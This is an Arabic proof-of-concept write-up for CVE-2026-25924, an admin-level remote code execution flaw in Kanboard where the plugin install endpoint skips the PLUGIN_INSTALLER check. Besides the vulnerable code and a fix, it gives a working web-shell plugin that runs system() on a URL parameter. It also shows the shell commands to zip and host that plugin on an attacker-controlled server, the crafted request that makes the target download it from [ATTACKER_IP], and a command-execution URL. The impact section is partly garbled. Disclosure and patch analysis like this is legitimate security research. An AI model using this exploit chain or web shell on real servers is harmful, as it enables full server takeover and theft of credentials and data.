
إثبات مفهوم لاستغلال CVE-2026-25924، يوضح تنفيذ الأوامر عن بُعد على مستوى الإدارة في Kanboard من خلال غياب فحص التحكم في الوصول على تثبيت الإضافات.
إثبات المفهوم لتنفيذ أوامر عن بُعد كمسؤول عبر تجاوز ضوابط الأمان
الإفصاح: تم الإبلاغ عنه بواسطتي عبر GHSA-grch-p7vf-vc4f
⚠️ للاستخدام المصرح به في الاختراق الأخلاقي والبحث فقط.
| الحقل | القيمة |
|---|
| معرف CVE | CVE-2026-25924 |
| الخطورة | 🔴 عالية |
| درجة CVSS | 8.4 |
| متجه CVSS | [CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H] |
| CWE | CWE-863: تفويض غير صحيح |
| المنتج المتأثر | Kanboard ≤ 1.2.49 |
| الإصدار المُصحَّح | 1.2.50 |
| النشرة الأمنية | GHSA-grch-p7vf-vc4f |
ثغرة تجاوز ضوابط الأمان في Kanboard v1.2.49 تسمح لمسؤول مُصادَق بتحقيق تنفيذ أوامر عن بُعد (RCE) كامل. على الرغم من أن التطبيق يخفي واجهة تثبيت الإضافات بشكل صحيح عند ضبط إعداد PLUGIN_INSTALLER على false، إلا أن نقطة النهاية الخلفية الأساسية تفشل في التحقق من هذا الإعداد الأمني. يمكن للمهاجم استغلال هذا الإغفال لإجبار الخادم على تنزيل وتثبيت إضافة خبيثة، مما يؤدي إلى تنفيذ أكواد عشوائية.


يستخدم Kanboard ثابتًا أمنيًا باسم PLUGIN_INSTALLER لتقييد القدرة على تثبيت الإضافات من عناوين URL البعيدة. يتم تعريفه في app/constants.php:
الملف: app/constants.php
21: defined('PLUGIN_INSTALLER') or define('PLUGIN_INSTALLER', strtolower(getenv('PLUGIN_INSTALLER')) === 'true'); // Disabled by default for security reasons
يتحقق التطبيق بشكل صحيح من هذا الإعداد في طرق عرض واجهة المستخدم في PluginController، مثل show() و directory()، باستخدام Installer::isConfigured():
الملف: app/Controller/PluginController.php
22: public function show()
23: {
...
28: 'is_configured' => Installer::isConfigured(),
29: )));
30: }
ومع ذلك، فإن طريقة install() في نفس المتحكم تفشل في إجراء هذا التحقق. فهي تتحقق فقط من رمز CSRF قبل المتابعة لتنزيل وتثبيت إضافة من عنوان URL عشوائي مقدم في معامل archive_url.
الكود القابل للاستغلال في app/Controller/PluginController.php:
56: public function install()
57: {
58: $this->checkCSRFParam();
59: $pluginArchiveUrl = urldecode($this->request->getStringParam('archive_url'));
60:
61: try {
62: $installer = new Installer($this->container);
63: $installer->install($pluginArchiveUrl); // <--- VULNERABILITY: Missing check for Installer::isConfigured()
64: $this->flash->success(t('Plugin installed successfully.'));
65: } catch (PluginInstallerException $e) {
66: $this->flash->failure($e->getMessage());
67: }
68:
69: $this->response->redirect($this->helper->url->to('PluginController', 'show'));
70: }
نظرًا لأن Installer::install() لا يتحقق أيضًا من ثابت PLUGIN_INSTALLER، يمكن للمسؤول تجاوز القيد المقصود ببساطة عن طريق الوصول المباشر إلى نقطة النهاية مع رمز CSRF صالح. بمجرد التثبيت، يتم تحميل الإضافة الخبيثة وتنفيذها تلقائيًا بواسطة Kanboard\Core\Plugin\Loader، مما يمنح المهاجم تنفيذ أوامر عن بُعد كامل.
أنشئ مجلدًا باسم Exploit يحتوي على ملف Plugin.php:
<?php
namespace Kanboard\Plugin\Exploit;
use Kanboard\Core\Plugin\Base;
class Plugin extends Base {
public function initialize() {
// Web shell listener
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
}
}
اضغط المجلد واستضفه على خادم يتحكم به المهاجم:
zip -r exploit.zip Exploit/
python3 -m http.server 80

سجّل الدخول إلى Kanboard كمسؤول. احصل على csrf_token من مصدر الصفحة وانتقل إلى:
http://[TARGET_IP]:8080/?controller=PluginController&action=install&archive_url=http://[ATTACKER_IP]/exploit.zip&csrf_token=[YOUR_TOKEN]

استخدم معامل cmd لتنفيذ أوامر نظام عشوائية:
http://[TARGET_IP]:8080/?controller=DashboardController&action=show&cmd=id


تسمح هذه الثغرة للمسؤول بتجاوز القيود الأمنية المفروضة على المضيف. من خلال تحقيق تنفيذ أوامر عن بُعد، يمكن للمهاجم:
/etc/passwd، config.php).أضف تحققًا من Installer::isConfigured() في بداية طريقتي install() و update() في app/Controller/PluginController.php:
if (! Installer::isConfigured()) {
throw new AccessForbiddenException();
}